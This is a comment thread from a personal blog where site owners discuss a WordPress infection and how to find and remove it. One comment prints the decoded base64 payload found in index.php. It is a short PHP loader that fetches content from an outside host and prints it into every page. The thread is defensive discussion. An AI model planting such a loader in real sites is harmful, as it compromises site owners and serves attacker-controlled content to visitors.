  • You won't find it in the individual posts... it's sneakily hidden elsewhere in the database, which you won't find unless you go into MySQL yourself and have a good bit of luck to look in the right place, wherever that is.

    Maybe the .* file is meant to be deleted after installation, and it didn't happen for me? Not sure.

    --Kyle
  • danwarne
    By the way, the base64 code that is embedded into the index.php translates to this:

    $l="http://tourreviews.asia/links2/link.php"; if (extension_loaded("curl")){
    $ch = curl_init(); curl_setopt($ch, CURLOPT_TIMEOUT, 30); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_URL, $l); $r = curl_exec($ch); curl_close($ch);}
    else{$r=implode("",file($l));} print @$r;
  • danwarne
    Hmmm, just discovered that my blog was infected with this exploit. I could not find any *.nfs files though in my Wordpress root. I found your post because of the "<!--5edfgh345-->" tag that had been added to the code -- presumably so the spread of the malware could be tracked by the author. Thanks for the removal instructions. Rather concerning that this has happened despite having a fully up-to-date version of Wordpress.
blog comments powered by Disqus
Kyle Brady: Blog
coherent thoughts on diverse topics


Site Navigation:
About Columns Ethics Rules Contact